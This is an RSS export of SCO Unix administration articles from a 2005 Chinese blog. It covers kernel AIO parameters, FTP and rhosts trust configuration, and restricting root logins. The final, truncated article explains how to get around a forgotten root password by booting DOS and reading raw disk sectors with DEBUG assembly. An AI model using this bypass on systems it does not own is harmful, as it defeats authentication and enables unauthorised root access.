<BR><BR>NAIOREQ:maximum number of pending AIO reguests <BR><BR>????????定义异步I/O1请求表AIO request table的大小,既定义系统异步I/O请求的最大值.NAIOREQ的取值范围是5～200,缺省设置值是120. <BR><BR>如果系统提示: <BR><BR>CONFIG:aio breakup-AIO request table overflow(NAIOREQ=number exceeded) <BR><BR>这表明系统AIO请求表溢出,需要将NAIOREQ值适当调大. <BR><BR>NAIOBUF:number of AIO buffer(should be the same as NAIOREQ) <BR><BR>????????定义AIO缓存区表的大小,既定义系统异步I/O缓存区的最大值.NAIOBUF值必须与NAIOREQ的大小一致. <BR><BR>如果系统提示: <BR><BR>CONFIG:aio breakup-AIO buffer table overflow(NAIOBUF=number exceeded) <BR><BR>这表明系统AIO缓存区表溢出,需要将NAIOBUF值适当调大. <BR><BR>NAIOHBUF:number of AIO hash gueues(internal) <BR><BR>定义AIO混列队列的数量.NAIOHBUF的取值范围是1～50,缺省值是25. <BR><BR>NAIOREQPP:maximum number of AIO reguests that a single proless can have pending <BR><BR>????????定义一个单个进程可以拥有的未完成的异步I/O请求的最大数量.NAIOREQPP的取值范围是30～200,缺省设置值是120,这个缺省值的大小意味着一般情况下单个进程可能能够消耗掉所有的异步I/O资源. <BR><BR>NAIOLOCKTBL:number of entries in the internal kernel table for AIO lock permissions <BR><BR>????????(定义用于异步I/O加锁许可的内部核心表中的表项数.NAIOLOCKTBL的取值范围是5～20,缺省值是10.如果文件/usr/lib/aiomemlock重的表项数目比较多,就需要将NAIOLOCKTBL值适当增大. <BR><BR>如果系统提示: <BR><BR>CONFIG:aio setlockauth - AIO buffer table overflow(NAIOLOCKTBL=number exceeded) <BR><BR>这表明系统AIO加锁表溢出,需要将NAIOLOCKTBL 值适当调大.<BR><BR>只有系统上配置了虚拟磁盘阵列，此类参数才有意义。 <BR><BR>VDUNTIMAX:maximum number of virtual disks which may be configured <BR><BR>所能配置的虚拟磁盘的最大数目。如果系统上配置的虚拟硬盘的数目是固定的，那么用户可以将VDUNITMAX的大小设置成实际值的大小。VDUNITMAX的取值范围是5～256，缺省值是100。 <BR><BR>VDJOBS:maximum number of virtual disks jobs <BR><BR>系统允许的虚拟硬盘任务项数目的最大值。VDJOBS的取值范围是100～400，缺省值是200。 <BR><BR>VDUNITJOBS:maximum number of jobs per virtual disk <BR><BR>定义系统中每一个虚拟硬盘的任务项数目的最大值。VDUNITJOBS的取值范围是50～200，缺省值是100。 <BR><BR>VDHASHMAX:size of data integrity hash table <BR><BR>定义用于保证在读、修改、写操作过程中数据完整性的混队队列表的大小。每一个混队队列表的表项占用24个字节的内容。VDHASHMAX的大小必须是2的乘幂。VDHASHMAX的取值范围是512～8192，缺省值是1024。 <BR><BR>VDASYNCPARITY:parity on RAID 4&amp;5 up dated asynchronously <BR><BR>控制RAID 4和RAID 5上的奇偶阵列设备进行的写操作是否是异步的。VDASYNCPARITY的取值是0或者1。VDASYNCPARITY的缺省值是1，表示是异步的；如果将VDASYNCPARITY设为0，表示是同步的。 <BR><BR>VDASYNCWRITES:parity on RAID updated asynchronously <BR><BR>控制对RAID 1的镜像硬盘进行的写操作是否是异步的。VDASYNCWRITES的取值是0或者1。VDASYNCWRITES的缺省值是1，表示是异步的；如果将VDASYNCWRITES设为0，表示是同步的。 <BR><BR>VDASYNCMAX:maximum number of outstanding asynchronous parity writes <BR><BR>表示在VDASYNCWRITES和VDASYNCMAX中有一个或者两个设置为1时，能够对RAID 1、RAID 4、RAID 5进行异步写操作的最大数目。VDASYNCMAX的取值范围是20～64，缺省值时20。 <BR><BR>VDWRITEBACK:write back of read-modify-write jobs completed asynchronously <BR><BR>控制是否将读、修改、写任务项异步地回写。VDWRITEBACK的取值时0或者1。VDWRITEBACK的缺省值时0，表示禁止回写；如果将VDWRITEBACK设置为1，表示允许回写，这样可以使得在读、修改、写任务项的最后阶段异步地进行写操作，从而提高虚拟硬盘的输入、输出量。允许回写的功能可以一定程度地保证在系统崩溃的突发情况下提高系统数据的完整性。 <BR><BR>VDRPT:Interval in seconds between error conditions being reported <BR><BR>以秒为单位，定义报告错误意识的时间间隔。VDRPT的取值范围是0～86400，缺省值是3600。如果将VDRPT的大小设置为0，表示系统在探测错误时立即进行报告。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2099.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:11 <a href="http://www.cnitblog.com/cyberfan/articles/2099.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Unix系统限制终端登录小技巧</title><link>http://www.cnitblog.com/cyberfan/articles/2100.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:11:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2100.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2100.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2100.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2100.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2100.html</trackback:ping><description><![CDATA[在Unix系统中，有些应用需要只对某些终端和某些用户开放，而对其他终端和某些用户进行限制。如果要实现如上操作，只要将下面的shell程序加入到/etc/profile的文件中去，就可实现限制对tty1b终端号只能用"xtgl"这一用户登录，而不能用其他的用户登录系统。 <BR><BR># echo "tty `tty`" <BR># if test `tty` = '/dev/tty1b'; <BR># then <BR># if test $LOGNAME = "xtgl"; <BR># then <BR># echo "OK!" <BR># else <BR># echo "You have not privilege to login in this term." <BR># exit <BR># fi <BR># else <BR># echo <BR># fi <BR>---- 另外，如果对应的用户没有设置密码，用户直接进入应用系统，则应该在对应用户目录下的.profile文件中加入以上代码，才能限制对应的终端号只能用对应的用户名进行登录。 <BR><BR>---- 注: 以上代码在IBM AIX 、Sco Unix环境下测试通过。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2100.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:11 <a href="http://www.cnitblog.com/cyberfan/articles/2100.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO TCP/IP网络管理---FTP的配置</title><link>http://www.cnitblog.com/cyberfan/articles/2097.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:10:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2097.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2097.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2097.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2097.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2097.html</trackback:ping><description><![CDATA[上一次我介绍了inetd守护进程，依我个人的感觉，这是一个很重要的进程，大家不是 <BR><BR>都想成为黑客级的网络高手吗？呵呵，很多的后门就是在依赖于它了，检查一下你/etc <BR><BR>/inetd.conf文件，看看有没有被改过，或者有什么注释被去掉了，可能被入侵哦！呵呵。 <BR><BR>　　好了，继续我们的讨论，今天讲讲FTP的配置问题。SCO Openserver Release 5配有 <BR><BR>FTP服务器daemon--ftpd,比旧版本功能更多更强，下面讲一下FTP的基本概念。目前最常用 <BR><BR>的INTERNET服务就是匿名FTP。这种服务可以让网上用户去访问匿名FTP服务器上的文件，而 <BR><BR>这些用户无须在这个FTP服务器上建立自己的帐户。有许多FTP服务器的配置是通过/etc <BR><BR>/ftpaccess文件完成的。这个文件对管理员还是挺重要的，所以我列出了一个默认安装时的 <BR><BR>文件： <BR>----------------------------------------------------------------------- <BR>#　　　　@（#）$Id: ftpaccess,v 6.6 1993/09/08 <BR>#　　　　20;44:05　 stevea Exp $ - STREAMware TCP/IP <BR>#　　　　source　SCCS　IDENTIFICATION <BR>loginfails 3 <BR><BR>class　　all　 real,guest,anonymous * <BR># class inside realguest,anonymous *.somedom.com <BR># class outside <BR>real,guest,anonymous!*.somedom.com <BR><BR># limit　dead　　0　　Any <BR>/archive/etc/msgs/msg.dead <BR># limit　local　 20　 Any <BR>/archive/etc/msgs/msg.toomany <BR># limit　remote　100　SaSu|Any1800-0600 <BR>/archive/etc/msgs/msg.toomany <BR># limit　remote　60　 Any <BR>/archive/etc/msgs/msg.toomany <BR><BR>readme　README*　 login <BR>readme　README*　 cwd=* <BR>banner　/etc/issue <BR><BR>message /etc/msgs/mirrors.msg　cwd=/mirrors <BR>message /etc/msgs/welcome.msg　login <BR>message .message　　　　　　　 cwd=* <BR><BR>compress　　　　 yes　　　　　 all <BR>tar　　　　　　　yes　　　　　 all <BR><BR># log commands real <BR># log tarnsfers anonymous,real inbound,outbound <BR># shutdown /etc/shutmsg <BR>-------------------------------------------------------------- <BR>按选项出现的先后顺序，我把文件个选项的意义归纳如下： <BR><BR>loginfails　　该选项规定用户在登录到ftp服务器时，连续登录多少次失败，ftp会自动 <BR><BR>中断，并让用户重新开始，该文件设的是3次。 <BR><BR>class　规定用户的级别，如果该项定义为all，就表示任何用户（包括real,guest和 <BR><BR>anonymous)可以从任何地方登录，从安全性来考虑，应该把用户分为两个级别--domain内 <BR><BR>的用户及domain以外的用户，这样你可以限制后者对ftp服务器的访问以及这样用户的数量。 <BR><BR>readme　该选项表示如果一个目录下的某一文件以README开始，在用户登录时或cd命令时， <BR><BR>系统就会显示此文件上次被修改的时间，并提请用户阅读此文件。 <BR><BR>Message　该选项与README的作用很相似。不同之处它是显示文件的内容。 <BR><BR>Compress　该选项容许用户从你的系统上得到某一文件，并在传输之前对文件进行解压。 <BR><BR>tar　该命令可以让用户只用一个命令即可以得到整个目录。 <BR><BR>在ftpaccess文件中还可以规定其他选项，其中对网络完全性有用的是：passwd-check, <BR><BR>chmod,delete,overwrite,log commands,log transfers。在FTP的应用中，可以通过 <BR><BR>修改ftpuser文件来增加一些FTP的限制条件。这样可以控制访问FTP服务器的用户名。通常 <BR><BR>系统管理员会利用这一功能防止用户以root或其他一些敏感的帐户名访问你的资源。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2097.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:10 <a href="http://www.cnitblog.com/cyberfan/articles/2097.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SCO TCP/IP网络管理---信任关系</title><link>http://www.cnitblog.com/cyberfan/articles/2098.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:10:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2098.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2098.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2098.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2098.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2098.html</trackback:ping><description><![CDATA[前面我们讲了FTP的配置，它在网络管理里面也是比较重要的一个服务，下面我们讲一 <BR><BR>下网络管理的另一个比较重要的概念，就是信任关系。还是拿NT来做对比，在NT里面，建立 <BR><BR>了信任关系后，比如A信任B，在B里的帐户就可以在A登录了，这对于administrator和user <BR><BR>来说都是一个非常方便的事情。同样，在UNIX系统中也有这样的管理方式，了解这个管理方 <BR><BR>式对你学习UNIX的网络很重要哦，欺骗（spoofing)技术就是利用这种管理方式的。 <BR><BR>　　UNIX中的受托访问可以让用户更方便，更安全的利用企业网络，增强网络的安全性。 <BR><BR>　　如果没有为rlogin命令配置受托访问，它会提示用户输入密码。这个密码会通过网络， <BR><BR>甚至INTERNET来传输。含有这些密码的数据包就会很容易被识别和窃取。如果设置了受托访 <BR><BR>问，就无需为rlogin设置密码。在没有受托访问的情况下，你甚至都无法使用rcmd和rcp命 <BR><BR>令。系统管理员有责任管理受托访问及用户等同。下面列出了为r命令和TCP实用程序： <BR><BR>rlogin　 Allows users to log into a remote host. If trusted access is set up. <BR>　　　　 no password is needed,otherwise a password is needed. <BR><BR>rcp　　　Allows users to copy files from one host to another. Requires trusted <BR>　　　　 access. <BR><BR>telnet　 Similar to rlogin, only a user name and password are almost always <BR>　　　　 required, and trusted access is not consulted <BR><BR>ftp　　　Similar to rcp, only a user name and password is always required and <BR>　　　　 trusted access is not consulted <BR><BR>受托主机访问的意义在于可以规定一台主机完全"信任"另一台主机上的用户。这些用户在 <BR><BR>那台主机上均有可识别的login名称，无需密码就可使用rlogin,rcp及rcmd命令。配置受托 <BR><BR>主机访问要以root登录到系统中。主要步骤是编辑/etc/hosts.equiv文件，必要时还要创建 <BR><BR>此文件。/etc/hosts.equiv文件中的每一选项规定的是那些有权访问该主机的远程系统。下 <BR><BR>面是一个该文件的例 <BR><BR>子： <BR>-------------------------------------------------------------------------------- <BR>　　　　　　　　　　　　　　barbados <BR>　　　　　　　　　　　　　　tortola　bob <BR>　　　　　　　　　　　　　　guam <BR>-------------------------------------------------------------------------------- <BR>假设该文件是一台名为corfu的机器上的设置，它们的意义分别如下： <BR>barbados　　barbados机器上与corfu中有相同的用户名的用户有权访问corfu。也就是 <BR><BR>说，在barbados上的用户jane可以rlogin,rcp,rcmd到corfu的用户jane上，不需要给出 <BR><BR>jane在corfu上的密码。 <BR><BR>tortola bob　容许tortola上的用户bob可以用除root外的任何用户名访问corfu。不过， <BR><BR>这是很危险的。 <BR><BR>root帐户是永远都不能与/etc/hosts.equiv文件的选项等同的。如果你是在INTERNET上， <BR><BR>为了安全起见，应该用/etc/hosts.equiv文件授权的主机名。配置受托用户访问，就是指定 <BR><BR>另一系统上的"可信任"用户，他们可以不用密码即可通过rlogin,rcmd及rcp命令访问本系 <BR><BR>统。与受托主机访问不同的饿是，受托用户访问可为用户在不同的机器上创建不同的login名 <BR><BR>称。系统管理员可以为用户设置这项功能，也可以交给用户自己去做。配置受托用户访问的 <BR><BR>主要步骤是在用户目录中创建或修改.rhosts文件。该文件必须是root或主目录所有者的，而 <BR><BR>且只有所有者才可以写此文件，否则任何更改都是无效的。.rhosts文件格式 <BR><BR>与/etc/hosts.equiv文件相同，但意义却不同，我们仍然可以以上面的例子来举例，假设那 <BR><BR>些选项是corfu上用户jane的主目录下，则它的意义如下： <BR>barbados　 barbados上的用户jane是corfu上用户jane的授权用户，即前者可以jane这个名字rlogin,rcp,rcmd到corfu，而无需corfu上jane的密码。 <BR><BR>tortola bob　tortola上的用户bob是corfu上的用户jane的授权用户。即bob可以jane的名字rlogin,rcp,rcmd到corfu,只要使用社党的命令参数，不需要给出jane的密码。 <BR><BR>无论系统执行rlogin命令，rcmd命令，还是rcp命令，系统会有一定的工作流程来确定是否已配置了受托访问。本地主机的受托访问通常经过以下步骤：1，用户发出前面提及的r类型命令。2，本地主机解析远程主机名，并获得它的IP地址。3，如果不能获得远程主机的IP地址，系统将显示错误信息：host_name:Host name lookup failure 。4，如果地道了远程主机的IP地址，r命令会通过TCP/IP与远程主机相连。 <BR><BR>远程主机的受托访问通常经过以下步骤：1，在密码数据库上寻找用户帐户名称。2，如果在密码库没有找到帐户名，系统就不会执行rcmd和rcp命令。执行rlogin命令时则提示用户输入密码，然后显示该命令执行失败。3，系统检查用户帐户是否有一个加密的密码。4，如果 <BR>该帐户没有密码，系统即执行r命令。但这样捉是很危险的。通常系统用户都应有自己的密码，尤其是与INTERNET相连的情况下更应注意这一点。5，系统检查用户帐户名，判断该用户是否为root，如果不是，系统会检查/etc/host.equiv中是否有用户本地主机的名字。如果该文件中列出了本地主机名，系统开始执行r命令。6，如果第五步中检查到用户为root，或者虽然不是root，而/etc/host.equiv中也没有列出主机名，系统会检查远程用户主目录的.rhosts文件，看看其中是否包括了本地主机名或者本地用户名，具体使用哪种名称，取决于r命令的被调用方式。7，如果.rhosts文件包括了所需的选项，系统就执行r命令。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2098.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:10 <a href="http://www.cnitblog.com/cyberfan/articles/2098.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何用ROOT远程登陆UNIX系统和防御办法</title><link>http://www.cnitblog.com/cyberfan/articles/2096.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:08:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2096.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2096.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2096.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2096.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2096.html</trackback:ping><description><![CDATA[让一个普通的用户转换成为管理员：<BR>如果要让一个普通的系统用户成为系统管理员，可以在UNIX环境下用SU命令。这个命令的意思是代替用户（Subsititute user)但是在以前常被一些黑客用来转换成为管理员（ROOT）<BR>身份，因此这个命令也被成为超级用户（SUQER USER）<BR>SU命令的参数是要转换成为的用户名，如果不带任何参数使用SU命令。系统认为用户要转换成ROOT身份，因此回显示提示信息，要求拥护提供正确的ROOT口令。比如DAVID要获得BDSK的身份，则在命令中输入：<BR>S su bdsk<BR>要获得新用户的系统设置，要在SU命令和用户命中见用"—"连子符号这个连子符号告诉SU程序不但成为这个用户，而且还要获得哪个用户身份登陆时该用户的环境。<BR>防御办法：<BR>UNIX系统中，计算机安全系统建立在身份验证机制上。如果root口令失密，系统将会受到侵害，尤其在网络环境中，后果更不堪设想。因此限制用户 root 远程登录，对保证计算机系统的安全，具有实际意义。本文向大家介绍一些方法，能达到限制 root 远程登录的目的。 <BR>　　方法一：在/etc/default/login 文件，增加一行设置命令： <BR><BR>　　CONSOLE = /dev/tty01 <BR><BR>　　设置后立即生效,无需重新引导。以后，用户只能在控制台（/dev/tty01）root登录，从而达到限制root远程登录，不过，同时也限制了局域网用户root登录，给管理员的日常维护工作带来诸多不便。 <BR><BR>　　方法二：1.为了达到限制root远程登录，首先要分清哪些用户是远程用户（即是否通过另一台 Windows 系统或 UNIX 系统进行 telnet 登录），哪些用户是局域网用户。通过以下shell程序能达到此目的。 <BR><BR>　　TY=`tty | cut -b 9-12` <BR><BR>　　WH=`finger | cut -b 32-79 | grep "$TY " | cut -b 29-39` <BR><BR>　　KK=` tty | cut -b 6-9` <BR><BR>　　If [ "$KK" = "ttyp" ] <BR><BR>　　Then <BR><BR>　　 WH=$WH <BR><BR>　　Else <BR><BR>　　 WH="local" <BR><BR>　　Fi <BR><BR>　　以上Shell命令程序中，WH为登录用户的主机IP地址，但如果在 /etc/hosts 文件中，定义了IP 地址和机器名之间的对应关系，则 WH 为用户登录的主机名。假设连接到局域网中的终端服务器的IP 地址为：99.57.32.18, 那么应在 /etc/hosts 文件中加入一行： <BR><BR>　　99.57.32.18 terminal_server <BR><BR>　　所有通过99.57.32.18终端服务器登录到主机的终端中，WH 是同一个值，即为终端服务器名terminal_server。 <BR><BR>　　2.在root的.profile文件中，根据 WH 值进行不同的处理，从而实现限制root远程登录。 <BR><BR>　　Trap 1 2 3 9 15 <BR><BR>　　If [ "$WH" = "local" -o "$WH" = "terminal_server" ] <BR><BR>　　Then <BR><BR>　　 Echo "Welcome......" <BR><BR>　　Else <BR><BR>　　 Exit <BR><BR>　　Fi <BR><BR>　　方法三：有时为了工作的方便，允许局域网中部分电脑root登录,例如，允许局域网中IP 地址为 99.57.32.58 的电脑root登录，要实现这一点，需要在前述方法中，作两点补充： <BR><BR>　　1.在 /etc/hosts 文件中，加入一行：99.57.32.58 xmh。 <BR><BR>　　2.在上述 Shell 程序段中，将下述内容： <BR><BR>　　If [ "$WH" = "local" -o "$WH" = "terminal_server" ] <BR><BR>　　修改为： <BR><BR>　　If [ "$WH" = "local" -o "$WH" = "terminal_server" -o "$WH"= "xmh" ] <BR><BR>　　方法四：经过以上处理后，仍存在普通用户登录后用su命令变成 root 用户的可能，从而达到 root 远程登录的目的。为了防止用这种方法实现 root 远程登录，需要限制普通用户不能执行 su 命令： <BR><BR>　　1.将su命令属主改为 root； <BR><BR>　　2.将su命令的权限改为 700 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2096.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:08 <a href="http://www.cnitblog.com/cyberfan/articles/2096.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用DOS命令破除UNIX管理员口令</title><link>http://www.cnitblog.com/cyberfan/articles/2093.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:07:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2093.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2093.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2093.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2093.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2093.html</trackback:ping><description><![CDATA[一种彻底解决UNIX系统管理员口令被忘记问题的新方案 <BR>引言 <BR>----对于广大的SCOUNIX操作系统管理员来说，最不可原谅的过失之一就是忘记了 <BR>管理员口令（即超级用户口令）。这个过失会导致极其严重的后果，对此凡是具备UNIX <BR>操作系统常识的人都应该知道。然而令人遗憾的是，时至今日铸错者依然大有人在。看 <BR>来，对他们固然要责备，但既然问题客观存在，我们就总还须面对现实，想办法去解决 <BR>才是。 <BR>----长期以来，许多人就超级用户口令被忘记的问题发表了各种看法。一部分人认 <BR>为，一旦忘记了超级用户口令，只能重装操作系统，此外别无它法。另一部分人则坚决 <BR>反对这种"重装论"，他们提出了一些经过成功实践的解决方案，使得"重装论"者败下 <BR>阵来。现在我们可以肯定地说，忘记超级用户口令是有办法解决的。 <BR><BR>----但同时我们也不得不承认，现行的解决方案有很大的局限性，这些局限性决定了 <BR>现有方案无论怎样变化和发展也不可能成为一种有着强大生命力的最彻底的解决方 <BR>案。 <BR><BR>传统解决方案的局限性 <BR>----上面已经谈到，目前有多种针对超级用户口令被忘记问题的解决方案。为了叙述 <BR>上的方便，本文将这些方案统称为传统解决方案。传统方案乍看起来似乎各不相同，但 <BR>经过认真分析和归纳后就会发现，它们实际上大同小异，都有以下共同点： <BR>必须有一套（两张）EmergencyBootFloppy（紧急启动软盘）。这套软盘均为文件系统 <BR>格式，必须在SCOUNIX上制作，并且在不同类型机器上制作的紧急启动软盘相互不能 <BR>通用。 <BR><BR>用紧急启动软盘启动后，将硬盘根文件系统mount到某个目录下（一般为/mnt目录），然 <BR>后进入该目录（即进入硬盘根文件系统的根目录），修改相关目录下与超级用户口令有 <BR>关的信息（各种方案的不同之处主要体现于此）。最后回到软盘根目录，拆 <BR>卸/dev/hd0root，重启机器。 <BR>----这些共同点实际上反映了传统方案的局限性： <BR>----一、操作平台局限性：要求自始至终必须在SCOUNIX操作系统平台上实施。 <BR><BR>----二、操作工具局限性：对紧急启动软盘的依赖性太大。万一软盘发生损毁，必须找 <BR>一台类型相同的机器再制作一套，这就是前面所说的"专盘专用"的限制。 <BR><BR>----三、操作对象局限性：必须依靠硬盘根文件系统的支持。即操作者与修改对象（指 <BR>与超级用户口令有关的信息）被文件系统隔开，操作者不能直接修改对象，只能调用文 <BR>件系统提供的服务修改。这种方式本是信息科学中倡导的层次化思想的一种体现，在 <BR>正常情况下应予称道；但任何事物都是有两面性的，在非常情况下--诸如解决忘记超 <BR>级用户口令这一类问题时--该方式反而有可能带来麻烦。 <BR><BR>----三大局限性说明了传统解决方案可行性的脆弱和狭窄，也决定了它们作为凌驾 <BR>于文件系统之上的高层方案所必然具有的弊端。于是，打破这些局限性，探索出一种全 <BR>新的解决方案，就成为了摆在一切UNIX研究者面前的新课题。 <BR><BR>新课题 <BR>----所谓新课题，就是找到一种能够突破传统方案局限性的新方案。究竟从何处下手 <BR>呢？让我们再来看一看三大局限性。 <BR>----操作平台局限性似乎不好突破，因为其它操作系统识别不了UNIX的文件系统格 <BR>式。 <BR><BR>----操作工具局限性好象就更难了，因为紧急启动软盘既要在UNIX上制作，又要 <BR>在UNIX上使用，所以如果操作平台局限性突破不了，它就更突破不了。 <BR><BR>----最后看看操作对象局限性。操作对象完全由文件系统管理，操作者必须通过文件 <BR>系统访问它们。万一文件系统崩溃，那么即使它下面的文件完好无损，操作者也只能认 <BR>为这些文件已全部丢失--因为文件系统无法访问（例如mount不上来）。其实这个时候 <BR>还是有办法找到那些文件的，方法就是直接访问物理硬盘。道理很简单：就本质而言， <BR>文件系统只不过是一个构筑于物理硬盘之上的逻辑组织，平时我们是通过它来访问物 <BR>理硬盘的；现在这个组织寿终正寝，不能再为我们服务了，于是我们只好"自己动手，丰 <BR>衣足食"。直接访问物理硬盘不但可以使文件"失"而复得，而且还有另外一个重要意义 <BR>--突破了操作对象局限性。 <BR><BR>----操作对象局限性一旦突破，我们就会惊奇地发现突破另外两大局限性简直可以 <BR>说是顺理成章了。因为虽然其它操作系统识别不了UNIX的文件系统格式，但在任何操 <BR>作系统上，我们都可以访问物理硬盘；而只要是带有访问物理硬盘功能的软件，都可以 <BR>成为我们的操作工具。 <BR><BR>----现在我们要做的仅仅是：找一个大家最熟悉的操作系统和一个最易寻觅的可以 <BR>访问物理硬盘的软件。 <BR><BR>----大家最熟悉的操作系统无疑是DOS。可以访问物理硬盘的软件很多，但最易寻觅 <BR>的莫过DEBUG.EXE。所谓最易寻觅，是因为DEBUG是DOS本身的一条外部命令，可以说只 <BR>要是在安装了DOS的机器上都可以找到它。对DEBUG略知一二的人可能会指出该命令并 <BR>没有提供访问物理硬盘的选项，但请不要忘记DEBUG是DOS提供给用户的一个汇编语言 <BR>调试程序，我们完全可以利用它编写、调试和执行一个汇编小程序去访问物理硬盘。应 <BR>该说，这对一个能够取得系统管理员身份的人并不困难。 <BR><BR>----综上所述，在DOS上运行DEBUG来破除UNIX管理员口令，这就是本文提出的解 <BR>决SCOUNIX超级用户口令被忘记问题的新方案。 <BR><BR>新方案的应用 <BR>----新方案已经提出，下面我们来看看它是如何应用于实践的。 <BR>----首先需要指出，由于文章篇幅和性质的限制，本文不可能将新方案实施过程中涉 <BR>及到的所有知识以"入门讲座"的方式加以介绍。因此，在阅读本小节前，读者应具备下 <BR>列基础：熟悉硬盘主引导扇区和UNIX分区及UNIX文件系统的构造（这对UNIX系统管理 <BR>员来说不成问题）、了解中断13H入口参数含义、使用过DEBUG命令。 <BR><BR>----一台COMPAQDESKPROXL/466服务器，主板内含PCISCSI-2控制器一个，上接富 <BR>士通硬盘一只，该硬盘主要参数为：1041柱面，64头，32扇。硬盘上装有SCOUNIX <BR>SystemV/386Release3.2operatingsystemVersion4.2。现在假设其超级用 <BR>户口令被忘记。 <BR><BR>----首先，随便找一台安装了DOS的计算机，制作一张DOS系统盘，并在系统盘上拷贝 <BR>一个DEBUG.EXE文件。 <BR><BR>C:\DOS&gt;format/sa: <BR>C:\DOS&gt;copydebug.exea: <BR>----然后将该盘插入COMPAQ服务器A驱，开机启动DOS操作系统，执行DEBUG命令。 <BR>A:\&gt;debug <BR>----现在我们就编写一段汇编语言程序（以下简称app），来读出硬盘0柱0头1扇区的 <BR>内容。该扇区存放的是主引导记录，读出它是为了确定SCOUNIX分区的起始位置。app <BR>是调用中断13H实现的，以后我们还要反复用到它，当然入口参数将随所读内容物理地 <BR>址的变化而变化。 <BR>-a <BR>2039:0100MOVAX,0201 <BR>2039:0103MOVBX,1000 <BR>2039:0106MOVCX,0001 <BR>2039:0109MOVDX,0080 <BR>2039:010CINT13 <BR>2039:010EINT20 <BR>2039:0110 <BR>-g <BR>Programterminatednormally <BR>----现在我们可以用"dump"命令查看被读到内存里的扇区内容。从偏移11BEH处开始 <BR>是分区表，其中类型标志字节为63H的分区是SCOUNIX分区。该分区起始于1柱面0磁 <BR>头1扇。 <BR>----下面，读出UNIX根文件系统i-node表的第一个扇区，以确定根目录的物理位置。 <BR><BR>----根据UNIX分区起始位置可知根文件系统始于2柱0头1扇。并且，由于2柱0头1扇是 <BR>引导块，2扇是超级块，3、4扇为间隔，所以i-node表必定始于第5扇。 <BR><BR>----我们用app读出它（CX的赋值应改为"0205"）。 <BR><BR>----读出后用"dump"命令查看偏移1040H至107FH的64个字节，这就是2号i-node，即 <BR>根目录的i-node。 <BR><BR>----下面我们就根据i-node计算根目录在硬上的物理地址。 <BR><BR>----我们从偏移1040H看起： <BR><BR>----ED41H表示文件类型与存取权限为"drwxr-xr-x"； <BR>----1000H表示文件连结数为16； <BR>----0000H表示文件属主ID为0； <BR>----0200H表示文件组ID为2； <BR>----80020000H表示文件字节数为640个； <BR>----DA0500H表示第一个数据块地址。由于其它12个数据块地址均为0，所以可断定 <BR>根目录在硬盘上只占了一个数据块。现在我们必须依据DA0500H计算出这个数据块存 <BR>放在硬盘的第几柱面、第几磁头、第几扇区。计算公式如下： <BR><BR>C=TRUNC(P/(H*S)) <BR>C1=C0+C <BR>H1=TRUNC((P-C*H*S)/S) <BR>S1=P-C*H*S-H1*S+1 <BR>----其中： 